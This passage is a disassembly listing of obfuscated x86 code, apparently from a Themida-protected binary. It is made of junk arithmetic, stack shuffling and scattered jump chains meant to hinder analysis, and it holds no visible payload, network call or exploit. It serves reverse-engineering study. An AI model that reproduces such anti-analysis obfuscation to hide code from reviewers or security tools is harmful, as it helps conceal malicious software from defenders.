		mov	ecx, 75767CDEh
		push	esi
		mov	esi, 404872C8h
		sub	ecx, esi
		mov	esi, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_55F385
; ---------------------------------------------------------------------------


loc_56799A:				; CODE XREF: sub_562ABA-3636j
		pop	ebx
		jmp	loc_5630F6
; ---------------------------------------------------------------------------


loc_5679A0:				; CODE XREF: sub_562ABA+5962j
		not	ebp
		add	ebp, 9E48E692h
		sub	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_572939
; ---------------------------------------------------------------------------


loc_5679B1:				; CODE XREF: sub_562ABA+C042j
		mov	esp, [esp+26h+var_28+2]
		push	0B1Fh
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, 0BEB5FD9h
		sub	edx, 0CD4F2AEFh
		sub	eax, 7AF124BFh
		add	eax, edx
		jmp	loc_56C7C7
; ---------------------------------------------------------------------------


loc_5679D3:				; CODE XREF: sub_562ABA+A0A8j
		push	cx
		mov	ch, 8Fh
		xor	ah, ch
		pop	cx
		dec	ah
		jmp	loc_5729B1
; ---------------------------------------------------------------------------


loc_5679E2:				; CODE XREF: sub_562ABA+EC72j
		pop	ebx
		jmp	loc_5610B3
; ---------------------------------------------------------------------------


loc_5679E8:				; CODE XREF: sub_562ABA-4061j
		mov	[esp+1Eh+var_1E], ebp
		jmp	loc_5672C6
; ---------------------------------------------------------------------------


loc_5679F0:				; CODE XREF: sub_562ABA-D23j
		mov	[esp+3Ah+var_3A], edx
		push	ecx
		push	43D72022h
		pop	ecx
		add	ecx, 6AE8303Eh
		jmp	loc_565D7F
; ---------------------------------------------------------------------------


loc_567A05:				; CODE XREF: sub_562ABA+D284j
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+42h+var_3E]
		pop	ebx
		jmp	loc_56B677
; ---------------------------------------------------------------------------


loc_567A22:				; CODE XREF: sub_562ABA-284Fj
		neg	ebp
		add	ebp, 3E21842Fh
		mov	eax, ebp
		jmp	loc_56D666
; ---------------------------------------------------------------------------


loc_567A31:				; CODE XREF: sub_562ABA+69FFj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56EB16
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6+arg_0+2]
		sub	esp, 4
		jmp	loc_567BCA
; ---------------------------------------------------------------------------


loc_567A4B:				; CODE XREF: sub_562ABA-28Ej
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 2
		add	ecx, esi
		jmp	loc_56610B
; ---------------------------------------------------------------------------


loc_567A5C:				; CODE XREF: sub_562ABA+EA15j
		sub	edi, 96358478h
		mov	ebx, edi
		pop	edi
		add	edx, 2D38598Bh
		jmp	loc_568CB0
; ---------------------------------------------------------------------------


loc_567A70:				; CODE XREF: sub_562ABA+F307j
		pop	[esp+12h+var_12]
		push	edx
		jmp	loc_5653ED
; ---------------------------------------------------------------------------


loc_567A79:				; CODE XREF: sub_562ABA+8B1Aj
		mov	[esp+12h+var_12], ecx
		mov	ecx, 2
		jmp	loc_565295
; ---------------------------------------------------------------------------


loc_567A86:				; CODE XREF: sub_562ABA-32E6j
		pop	edx
		pop	ebp
		add	eax, 2D5E75A2h
		add	eax, ebx
		push	esi
		mov	esi, 2D5E75A2h
		sub	eax, esi
		pop	esi
		pop	ebx
		push	308Eh
		mov	[esp+0], edi
		mov	edi, 2
		sub	eax, 17561573h
		add	eax, edi
		push	ecx
		mov	ecx, 17561573h
		add	eax, ecx
		pop	ecx
		mov	edi, [esp+0]
		add	esp, 4
		push	328Eh
		mov	[esp+0], eax
		jmp	loc_56169E
; ---------------------------------------------------------------------------


loc_567AC9:				; CODE XREF: sub_562ABA+C6D6j
		pop	eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, ah
		mov	bh, dl
		jmp	loc_560D7D
; ---------------------------------------------------------------------------


loc_567AD9:				; CODE XREF: sub_562ABA+9376j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	[esp+0Ah+var_C+2]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_569AEF
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		sub	esp, 4
		mov	[esp+12h+var_12], esi
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		jmp	loc_56F0E1
; ---------------------------------------------------------------------------


loc_567B1A:				; CODE XREF: sub_562ABA+7BB4j
		sub	ecx, ebx
		jmp	loc_571953
; ---------------------------------------------------------------------------


loc_567B21:				; CODE XREF: sub_562ABA-42CAj
		mov	ebp, 74836CCFh
		shr	ebp, 6
		sub	ebp, 0A14C9AEFh
		jmp	loc_55E810
; ---------------------------------------------------------------------------


loc_567B34:				; CODE XREF: sub_562ABA+D3FFj
		add	[esp+1Eh+var_1E], 4
		jmp	loc_5664B2
; ---------------------------------------------------------------------------


loc_567B3D:				; CODE XREF: sub_55E502+4D8j
		xor	ebx, 44330CC7h
		jmp	loc_55EE3A
; ---------------------------------------------------------------------------


loc_567B48:				; CODE XREF: sub_55E50D+1j
		pop	ebp
		pop	ebx
		sub	eax, 4A867ADEh
		add	eax, ebp
		add	eax, 4A867ADEh
		push	[esp+16h+var_16]
		mov	ebp, [esp+1Ah+var_1A]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Eh+var_1E]
		jmp	loc_5653C1
; ---------------------------------------------------------------------------


loc_567B70:				; CODE XREF: sub_562ABA+E1D2j
		mov	edi, 4
		add	ebx, 386E0BFFh
		push	ecx
		mov	ecx, 6F9A18EEh
		and	ecx, 119C1BBCh
		sub	ecx, 25BC7D1Fh
		not	ecx
		sub	ecx, 7AFE31DEh
		jmp	loc_56E0F4
; ---------------------------------------------------------------------------


loc_567B9A:				; CODE XREF: sub_562ABA-804j
		xchg	edi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		mov	ebp, esi
		pop	esi
		jmp	loc_55F7F8
; ---------------------------------------------------------------------------


loc_567BB1:				; CODE XREF: sub_562ABA+82B0j
		xor	[esp+32h+var_32], eax
		xor	eax, [esp+32h+var_32]
		xor	[esp+32h+var_32], eax
		jmp	loc_56F12E
; ---------------------------------------------------------------------------


loc_567BBF:				; CODE XREF: sub_562ABA+29DEj
		sub	edi, esi
		pop	esi
		xchg	edi, [esp+2+var_4+2]
		jmp	loc_56419B
; ---------------------------------------------------------------------------


loc_567BCA:				; CODE XREF: sub_562ABA+4F8Cj
		mov	[esp+0], ebx
		jmp	loc_571B65
; ---------------------------------------------------------------------------


loc_567BD2:				; CODE XREF: sub_562ABA+D2E3j
		pop	ecx
		xchg	eax, [esp-6+arg_0+2]
		pop	esp
		mov	[esp-0Ah+arg_4+2], ecx
		push	ebx
		mov	bh, 83h
		or	bh, 0B1h
		not	bh
		jmp	loc_55F0F3
; ---------------------------------------------------------------------------


loc_567BE7:				; CODE XREF: sub_562ABA-3F52j
		mov	esp, [esp+2Ah+var_2C+2]
		neg	ebx
		jmp	loc_56A955
; ---------------------------------------------------------------------------


loc_567BF1:				; CODE XREF: sub_562ABA+FCDj
		push	ebp
		mov	ebp, 431D2905h
		push	ebx
		mov	ebx, 6B96513Ah
		add	ebp, ebx
		pop	ebx
		xor	ebp, 3A0A43CFh
		xor	ebp, 53722995h
		shr	ebp, 2
		push	esi
		mov	esi, 39993604h
		xor	esi, 1C9480EDh
		jmp	loc_5665A7
; ---------------------------------------------------------------------------


loc_567C20:				; CODE XREF: sub_562ABA-811j
		mov	[esp+36h+var_36], ecx
		add	[esp+36h+var_36], 2A256875h
		pop	edx
		sub	edx, 2A256875h
		mov	ecx, [esp+32h+var_32]
		jmp	loc_56CA4F
; ---------------------------------------------------------------------------


loc_567C39:				; CODE XREF: sub_562ABA+6B57j
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_570B27
; ---------------------------------------------------------------------------
		lodsb
		push	6C54h
		mov	[esp+32h+var_32], ecx
		mov	cl, 0D5h
		neg	cl
		jmp	loc_571D1E
; ---------------------------------------------------------------------------


loc_567C59:				; CODE XREF: sub_562ABA+3077j
		xor	eax, ebx
		jmp	loc_55E5E3
; ---------------------------------------------------------------------------


loc_567C60:				; CODE XREF: sub_562ABA-4547j
		mov	edi, esp
		add	edi, 4
		push	3DDDh
		mov	[esp+42h+var_42], ebx
		push	6498h
		jmp	loc_56E52E
; ---------------------------------------------------------------------------


loc_567C7A:				; CODE XREF: sub_562ABA-1706j
		xor	[esp-4+arg_0], ebx
		jmp	loc_5620F5
; ---------------------------------------------------------------------------


loc_567C82:				; CODE XREF: sub_562ABA-22F7j
		push	edx
		mov	edx, 5D773494h
		sub	eax, 5A8D5909h
		jmp	loc_56DFA9
; ---------------------------------------------------------------------------


loc_567C92:				; CODE XREF: sub_562ABA-40A4j
		push	72C7h
		mov	[esp+1Ah+var_1A], ecx
		mov	ecx, 5FEE27C1h
		dec	ecx
		shl	ecx, 5
		add	ecx, 4616629Ch
		mov	ebp, ecx
		pop	ecx
		jmp	loc_56F510
; ---------------------------------------------------------------------------


loc_567CB1:				; CODE XREF: sub_562ABA+40FCj
		mov	edx, 27E00D3Dh
		sub	ebx, 2BD717A0h
		add	ebx, edx
		add	ebx, 2BD717A0h
		jmp	loc_5719C5
; ---------------------------------------------------------------------------


loc_567CC9:				; CODE XREF: sub_562ABA-1893j
		pop	esp
		mov	eax, [esp+0]
		add	esp, 4
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		mov	dh, bh
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	ebx
		mov	ebx, 28h
		jmp	loc_55E513
; ---------------------------------------------------------------------------


loc_567CEC:				; CODE XREF: sub_562ABA-4312j
		mov	[esp+2Ah+var_2C+2], ebp
		jmp	loc_5613C3
; ---------------------------------------------------------------------------


loc_567CF4:				; CODE XREF: sub_562ABA+9DD5j
		xor	eax, edx
		jmp	loc_5674AF
; ---------------------------------------------------------------------------


loc_567CFB:				; CODE XREF: sub_562ABA-2368j
		sub	bl, 1Bh
		push	ecx
		push	eax
		mov	eax, 79015B6Bh
		push	ebp
		jmp	loc_56791C
; ---------------------------------------------------------------------------


loc_567D0B:				; CODE XREF: sub_562ABA+1919j
		mov	ch, ah
		pop	eax
		not	dh
		push	ebx
		mov	bh, dh
		mov	dh, ch
		mov	ch, bh
		pop	ebx
		add	ch, 71h
		xor	dl, ch
		mov	ecx, [esp+1Ah+var_1A]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+1Eh+var_1E]
		pop	esp
		sub	al, 91h
		add	al, dl
		jmp	loc_5722F8
; ---------------------------------------------------------------------------


loc_567D39:				; CODE XREF: sub_562ABA+473Cj
		sub	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		jmp	loc_57157C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+1Ch+var_1E+2], al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_567D59:				; CODE XREF: sub_562ABA+F9C1j
		add	esi, 7AEC2597h
		add	esi, ebp
		sub	esi, 7AEC2597h
		jmp	loc_562805
; ---------------------------------------------------------------------------


loc_567D6C:				; CODE XREF: sub_562ABA+4A73j
		not	bx
		jmp	loc_56B03E
; ---------------------------------------------------------------------------


loc_567D74:				; CODE XREF: sub_562ABA+5D93j
		add	esp, 4
		xchg	eax, esi
		neg	esi
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_56C1A8
; ---------------------------------------------------------------------------


loc_567D88:				; CODE XREF: sub_562ABA+2D4Fj
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 2200753Ah
		xor	ebx, 250011AEh
		shr	ebx, 7
		jmp	loc_56F7EC
; ---------------------------------------------------------------------------


loc_567D9E:				; CODE XREF: sub_562ABA+17FDj
		sub	esp, 4
		mov	[esp+12h+var_12], eax
		push	edx
		mov	dh, 0E2h
		mov	al, 94h
		add	al, 0D6h
		add	al, dh
		sub	al, 0D6h
		pop	edx
		push	cx
		push	edx
		mov	dl, 4Eh
		neg	dl
		sub	dl, 70h
		xor	dl, 26h
		mov	cl, dl
		jmp	loc_570514
; ---------------------------------------------------------------------------


loc_567DC4:				; CODE XREF: sub_562ABA+7C17j
		add	bl, 82h
		mov	edx, [esp+18h+var_1A+2]
		sub	esp, 4
		jmp	loc_56DD3F
; ---------------------------------------------------------------------------


loc_567DD2:				; CODE XREF: sub_562ABA+A193j
		pop	edx
		push	ebx
		mov	ebx, 1D7606CBh
		inc	ebx
		add	ebx, 4EFB4E7Bh
		shl	ebx, 6
		jmp	loc_56AB92
; ---------------------------------------------------------------------------


loc_567DE8:				; CODE XREF: sub_562ABA+AF30j
		shl	ecx, 2
		or	ecx, 0DDE6ECCh
		shl	ecx, 7
		jmp	loc_57149A
; ---------------------------------------------------------------------------


loc_567DF9:				; CODE XREF: sub_562ABA+4D32j
		mov	esp, [esp+3Ah+var_3A]
		mov	[esp+3Ah+var_3A], ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_567E9C
; ---------------------------------------------------------------------------


loc_567E07:				; CODE XREF: sub_562ABA-1BAEj
		pop	eax
		shr	esi, 2
		jmp	loc_56E791
; ---------------------------------------------------------------------------


loc_567E10:				; CODE XREF: sub_562ABA+614Fj
		add	edi, 220458B5h
		jmp	loc_565FC3
; ---------------------------------------------------------------------------


loc_567E1B:				; CODE XREF: sub_562ABA+AF1Bj
		sub	eax, 3BB44353h
		push	edi
		push	3C01CCDh
		pop	edi
		jmp	loc_560905
; ---------------------------------------------------------------------------


loc_567E2C:				; CODE XREF: sub_562ABA+3E5Fj
		sub	ecx, 82A722F7h
		add	edx, ecx
		jmp	loc_568B96
; ---------------------------------------------------------------------------


loc_567E39:				; CODE XREF: sub_562ABA-1ADAj
		sub	edi, 7FFFC3A9h
		add	esi, edi
		pop	edi
		push	6A6Ch
		mov	[esp+12h+var_12], ecx
		push	edx
		mov	edx, 538567DBh
		xor	edx, 257867CEh
		add	edx, 90272691h
		mov	ecx, edx
		pop	edx
		push	ebp
		jmp	loc_571FEA
; ---------------------------------------------------------------------------


loc_567E65:				; CODE XREF: sub_562ABA+6CFEj
		sub	edx, 7F0C5541h
		jmp	loc_56F1EF
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_56D842
; ---------------------------------------------------------------------------


loc_567E76:				; CODE XREF: sub_562ABA+F390j
		push	32ECh
		mov	[esp+1Ah+var_1A], ebx
		jmp	loc_567064
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1A]
		pop	eax
		push	edx
		push	esp
		pop	edx
		jmp	loc_56C990
; ---------------------------------------------------------------------------


loc_567E8F:				; CODE XREF: sub_562ABA+BA11j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55F1CE
; ---------------------------------------------------------------------------


loc_567E9C:				; CODE XREF: sub_562ABA+5348j
		push	edi
		mov	edi, 1DC31E3Dh
		push	edx
		mov	edx, 28664C9Bh
		add	edi, edx
		pop	edx
		shl	edi, 6
		dec	edi
		add	edi, 92126C7Ch
		mov	ebp, edi
		pop	edi
		jmp	loc_566247
; ---------------------------------------------------------------------------


loc_567EBD:				; CODE XREF: sub_562ABA+3A13j
		mov	[esp-0Ah+arg_4+2], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_566558
; ---------------------------------------------------------------------------


loc_567EC8:				; CODE XREF: sub_562ABA+DD49j
		pop	ebp
		add	edx, ecx
		pop	ecx
		push	edx
		push	[esp-0Ah+arg_8+2]
		push	[esp-6+arg_0+2]
		jmp	loc_5709A6
; ---------------------------------------------------------------------------


loc_567ED9:				; CODE XREF: sub_562ABA-1DFEj
		sub	edx, 1A2452D6h
		jmp	loc_55EBB4
; ---------------------------------------------------------------------------


loc_567EE4:				; CODE XREF: sub_562ABA+5A2Fj
		add	[esp-6+arg_4+2], eax
		sub	[esp-6+arg_4+2], 69480D57h
		push	eax
		mov	eax, 4D2C4462h
		sub	[esp-2+arg_4+2], eax
		pop	eax
		sub	[esp-6+arg_4+2], 3C0627D4h
		pop	eax
		jmp	loc_560F3A
; ---------------------------------------------------------------------------


loc_567F09:				; CODE XREF: sub_562ABA+A032j
		add	ebx, 264821D0h
		pop	esi
		sub	edi, ebx
		push	[esp-0Eh+arg_8+2]
		pop	ebx
		push	46AAh
		jmp	loc_563DC5
; ---------------------------------------------------------------------------


loc_567F20:				; CODE XREF: sub_562ABA+44DDj
		push	edi
		push	ecx
		push	edx
		mov	edx, 2AAD4D36h
		mov	ecx, edx
		jmp	loc_56834F
; ---------------------------------------------------------------------------


loc_567F2F:				; CODE XREF: sub_562ABA-4965j
		sub	eax, 77F9393Bh
		add	eax, 34CE4805h
		jmp	sub_560BA1
; ---------------------------------------------------------------------------


loc_567F3E:				; CODE XREF: sub_562ABA+B6DCj
		or	ecx, esi
		jmp	loc_569814
; ---------------------------------------------------------------------------


loc_567F45:				; CODE XREF: sub_562ABA+BE2Cj
		sub	ch, 8Ah
		push	eax
		mov	ah, ch
		jmp	loc_5711F9
; ---------------------------------------------------------------------------


loc_567F50:				; CODE XREF: sub_562ABA+DDFDj
		push	edi
		push	4
		pop	edi
		sub	ebx, 740A1434h
		add	ebx, 782A5A86h
		add	ebx, edi
		sub	ebx, 782A5A86h
		add	ebx, 740A1434h
		mov	edi, [esp+6+var_8+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562DD7
; ---------------------------------------------------------------------------


loc_567F82:				; CODE XREF: sub_562ABA+CA8Fj
		mov	esp, [esp+0Ah+var_C+2]
		rol	[esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_567F8E:				; CODE XREF: sub_562ABA+B832j
		mov	edi, 0E8831CBh
		jmp	loc_5698CE
; ---------------------------------------------------------------------------


loc_567F98:				; CODE XREF: sub_562ABA+9D91j
		add	esp, 4
		xor	edi, 605B1D85h
		sub	edi, 5AB709F1h
		jmp	loc_56E95C
; ---------------------------------------------------------------------------


loc_567FAC:				; CODE XREF: sub_562ABA+3E17j
		mov	[esp+32h+var_32], esi
		sub	esp, 4
		mov	[esp+36h+var_36], esp
		push	ebx
		mov	ebx, 4
		add	[esp+3Ah+var_36], ebx
		jmp	loc_5639D7
; ---------------------------------------------------------------------------


loc_567FC4:				; CODE XREF: sub_562ABA+4C48j
		sub	esp, 4
		jmp	loc_566DA3
; ---------------------------------------------------------------------------


loc_567FCF:				; CODE XREF: sub_562ABA+E5A7j
		sub	edi, 29E84ACBh
		xor	edi, 67F70CF2h
		jmp	loc_55FD62
; ---------------------------------------------------------------------------


loc_567FE0:				; CODE XREF: sub_562ABA+EFA7j
		push	eax
		sub	esp, 4
		mov	[esp+4Ah+var_4A], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4Eh+var_4A], ebx
		pop	ebx
		pop	eax
		jmp	loc_5719A2
; ---------------------------------------------------------------------------


loc_567FFB:				; CODE XREF: sub_562ABA+A9FEj
		push	edx
		sub	esp, 4
		mov	[esp+4Eh+var_4E], edi
		push	edx
		mov	edx, 78D92C6Ch
		mov	edi, edx
		mov	edx, [esp+52h+var_52]
		add	esp, 4
		dec	edi
		add	edi, 0A6DEFBF1h
		jmp	loc_56549D
; ---------------------------------------------------------------------------


loc_568022:				; CODE XREF: sub_562ABA-2EB3j
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		push	eax
		push	[esp+0Eh+var_C+2]
		mov	eax, [esp+12h+var_12]
		jmp	loc_56E6EB
; ---------------------------------------------------------------------------


loc_568036:				; CODE XREF: sub_562ABA+2411j
		pop	edx
		jmp	loc_569EBF
; ---------------------------------------------------------------------------


loc_56803C:				; CODE XREF: sub_562ABA+76D5j
		sub	edx, ebp
		add	edx, 7B65306Fh
		mov	ebp, [esp+4Ah+var_4A]
		add	esp, 4
		mov	eax, [esp+46h+var_46]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Ah+var_4A]
		pop	esp
		jmp	loc_56C364
; ---------------------------------------------------------------------------


loc_568065:				; CODE XREF: sub_562ABA-49EBj
		mov	edx, 3B1B2332h
		mov	esi, edx
		jmp	loc_56359F
; ---------------------------------------------------------------------------
		push	[esp+0Ah+var_C+2]
		mov	eax, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edi
		push	esp
		push	[esp+12h+var_12]
		pop	edi
		add	esp, 4
		push	3838h
		mov	[esp+12h+var_12], ebp
		push	4C0Dh
		mov	[esp+16h+var_16], edx
		push	40365BFCh
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		sub	edx, 57861E9Eh
		inc	edx
		jmp	sub_5720B7
; ---------------------------------------------------------------------------


loc_5680B2:				; CODE XREF: sub_562ABA-89Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1E+2]
		pop	esp
		push	30EEh
		mov	[esp+1Ch+var_1E+2], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_562B9A
; ---------------------------------------------------------------------------


loc_5680D5:				; CODE XREF: Themida_:005620F0j
		push	edi
		push	0F311D3h
		pop	edi
		shr	edi, 1
		xor	edi, 7115FD8Ch
		mov	edx, edi
		pop	edi
		mov	ebp, 239D26FAh
		and	ebp, 260A0C82h
		inc	ebp
		inc	ebp
		jmp	loc_5729D7
; ---------------------------------------------------------------------------


loc_5680F9:				; CODE XREF: sub_562ABA+ACD3j
		shl	ebp, 3
		or	ebp, 3C06524Eh
		xor	ebp, 0E447B531h
		add	ebx, ebp
		pop	ebp
		sub	ebx, edx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 33943DC1h
		push	edi
		sub	esp, 4
		jmp	loc_56B56E
; ---------------------------------------------------------------------------


loc_568124:				; CODE XREF: sub_562ABA+E266j
		pop	cx
		jmp	loc_568A3B
; ---------------------------------------------------------------------------


loc_56812B:				; CODE XREF: sub_562ABA+E4A1j
		pop	[esp+1Eh+var_1E]
		mov	esp, [esp+1Ah+var_1A]
		mov	word ptr [esp+1Ah+var_1A], ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56813A:				; CODE XREF: sub_562ABA+6F02j
		neg	ecx
		shl	ecx, 3
		not	ecx
		or	ecx, 4FC60A14h
		add	ecx, 0A020D0A0h
		mov	ebx, ecx
		pop	ecx
		add	edx, ebx
		jmp	loc_568462
; ---------------------------------------------------------------------------


loc_568157:				; CODE XREF: sub_562ABA+F237j
		add	esi, 74A36632h
		mov	ecx, [esp+16h+var_16]
		jmp	loc_57295A
; ---------------------------------------------------------------------------


loc_568165:				; CODE XREF: sub_562ABA+4627j
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		jmp	loc_5641D4
; ---------------------------------------------------------------------------


loc_568170:				; CODE XREF: sub_562ABA+B1BBj
		add	esi, edi
		jmp	loc_55F28E
; ---------------------------------------------------------------------------


loc_568177:				; CODE XREF: sub_562ABA+70Ej
		add	ebx, 743164C8h
		xor	ebx, 60CB345Ch
		jmp	loc_56E4D0
; ---------------------------------------------------------------------------


loc_568188:				; CODE XREF: sub_562ABA+ED1Fj
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		pop	ebp
		jmp	loc_570B56
; ---------------------------------------------------------------------------


loc_568198:				; CODE XREF: sub_562ABA+CF7Aj
		mov	edi, 611C1C3Bh
		shr	edi, 7
		dec	edi
		shr	edi, 5
		and	edi, 55935DE9h
		and	edi, 44D43933h
		jmp	loc_570DB5
; ---------------------------------------------------------------------------


loc_5681B5:				; CODE XREF: sub_562ABA+EADEj
		sub	ecx, 29E41F4Ch
		jmp	loc_56EE75
; ---------------------------------------------------------------------------


loc_5681C0:				; CODE XREF: sub_562ABA+9E61j
		pop	eax
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5681CC:				; CODE XREF: sub_562ABA+5E25j
		push	ebx
		mov	bh, 39h
		push	edx
		mov	dh, 0
		jmp	loc_56D79A
; ---------------------------------------------------------------------------


loc_5681D7:				; CODE XREF: sub_562ABA-3040j
		pop	ebx
		and	ecx, eax
		jmp	loc_568A61
; ---------------------------------------------------------------------------


loc_5681DF:				; CODE XREF: sub_5611D3+16j
		add	edx, 0B6F3FF30h
		mov	eax, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		add	ebp, 24381F86h
		add	ebp, 1C745137h
		add	ebp, eax
		sub	ebp, 1C745137h
		jmp	loc_571005
; ---------------------------------------------------------------------------


loc_568204:				; CODE XREF: sub_562ABA+1FE5j
		push	edx
		mov	edx, 19BB5F1Ch
		shl	edx, 1
		or	edx, 0EC64336h
		or	edx, 2CB5414Eh
		xor	edx, 28526D50h
		sub	edx, 1C2739C7h
		jmp	loc_569ACD
; ---------------------------------------------------------------------------


loc_568229:				; CODE XREF: sub_562ABA-4370j
		push	[esp+22h+var_22]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	1B4Ah
		mov	[esp+22h+var_22], edx
		mov	edx, 22AB136Fh
		or	edx, 285C12D0h
		shr	edx, 3
		dec	edx
		push	ecx
		mov	ecx, 19B516F6h
		add	ecx, 43BA5731h
		jmp	loc_56576A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+26h+var_28+2]
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_56F0CE
; ---------------------------------------------------------------------------


loc_56826E:				; CODE XREF: sub_562ABA+E44Ej
		pop	edi
		add	edx, 14002470h
		add	edx, eax
		jmp	loc_55FD0C
; ---------------------------------------------------------------------------


loc_56827C:				; CODE XREF: sub_562ABA+1ADAj
		and	ebx, edx
		pop	edx
		add	ebx, 30DD2B2Fh
		push	edx
		mov	edx, 1A4F343Fh
		push	0
		sub	[esp+36h+var_36], edx
		pop	edx
		dec	edx
		shr	edx, 7
		jmp	loc_565D52
; ---------------------------------------------------------------------------


loc_56829D:				; CODE XREF: sub_561832+33j
		mov	[esp+32h+var_32], ebx
		push	ecx
		mov	cl, 56h
		xor	cl, 39h
		inc	cl
		xor	cl, 0ABh
		jmp	loc_5623C4
; ---------------------------------------------------------------------------


loc_5682B0:				; CODE XREF: sub_562ABA+7194j
		mov	[esp+36h+var_36], edi
		mov	edi, 24386915h
		mov	ebx, 0DA4C68A1h
		sub	ebx, edi
		pop	edi
		sub	edi, ebx
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_5709AC
; ---------------------------------------------------------------------------
		neg	word ptr [esp+0]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5682D7:				; CODE XREF: sub_562ABA+3510j
		push	dword ptr [esp+0]
		jmp	loc_56A875
; ---------------------------------------------------------------------------


loc_5682DF:				; CODE XREF: sub_562ABA+D6FDj
		pop	edi
		push	dword ptr [esp+0]
		push	[esp+12h+var_12]
		jmp	loc_569B7E
; ---------------------------------------------------------------------------


loc_5682EB:				; CODE XREF: sub_562ABA+83E7j
		mov	[esp+16h+var_16], esp
		push	eax
		jmp	loc_561056
; ---------------------------------------------------------------------------


loc_5682F4:				; CODE XREF: sub_562ABA+2DE4j
		or	edx, 532365E3h
		xor	edx, 38EE6992h
		and	edx, 44521D9h
		jmp	loc_55F972
; ---------------------------------------------------------------------------


loc_56830B:				; CODE XREF: sub_562ABA+ECC2j
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp+3Ah+var_3A]
		pop	esp
		mov	[esp+36h+var_36], eax
		mov	eax, 1FA71359h
		mov	esi, eax
		pop	eax
		jmp	loc_55E3A3
; ---------------------------------------------------------------------------


loc_568328:				; CODE XREF: sub_562ABA+4E94j
		sub	[esp+0Ah+var_C+2], ecx
		pop	ecx
		push	edx
		jmp	loc_569421
; ---------------------------------------------------------------------------


loc_568332:				; CODE XREF: sub_562ABA+FA6Aj
		push	ebp
		push	5386h
		jmp	loc_5633C3
; ---------------------------------------------------------------------------


loc_56833D:				; CODE XREF: sub_562ABA+BDA4j
		inc	eax
		jmp	loc_566270
; ---------------------------------------------------------------------------


loc_568343:				; CODE XREF: sub_562ABA+3396j
		push	ebx
		push	bp
		mov	bp, 0B30h
		jmp	loc_567352
; ---------------------------------------------------------------------------


loc_56834F:				; CODE XREF: sub_562ABA+5470j
		pop	edx
		jmp	loc_566F61
; ---------------------------------------------------------------------------


loc_568355:				; CODE XREF: sub_562ABA+9A09j
		mov	edx, [esp+1Eh+var_1E]
		add	esp, 4
		add	[esp+1Ah+var_16], edi
		mov	edi, [esp+1Ah+var_1A]
		push	3F5Ch
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_5673E7
; ---------------------------------------------------------------------------


loc_568378:				; CODE XREF: sub_562ABA-3E0Ej
		push	dword ptr [edi+eax*4]
		push	edx
		mov	edx, 2E143B61h
		jmp	loc_566C1B
; ---------------------------------------------------------------------------


loc_568386:				; CODE XREF: sub_562ABA+E6B9j
		sub	edi, eax
		jmp	loc_55FB94
; ---------------------------------------------------------------------------


loc_56838D:				; CODE XREF: sub_562ABA+DB16j
		mov	[esp+26h+var_28+2], ebx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		jmp	loc_560BBF
; ---------------------------------------------------------------------------


loc_56839E:				; CODE XREF: sub_562ABA+9A45j
		add	ebp, 4
		xor	ebp, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ebp
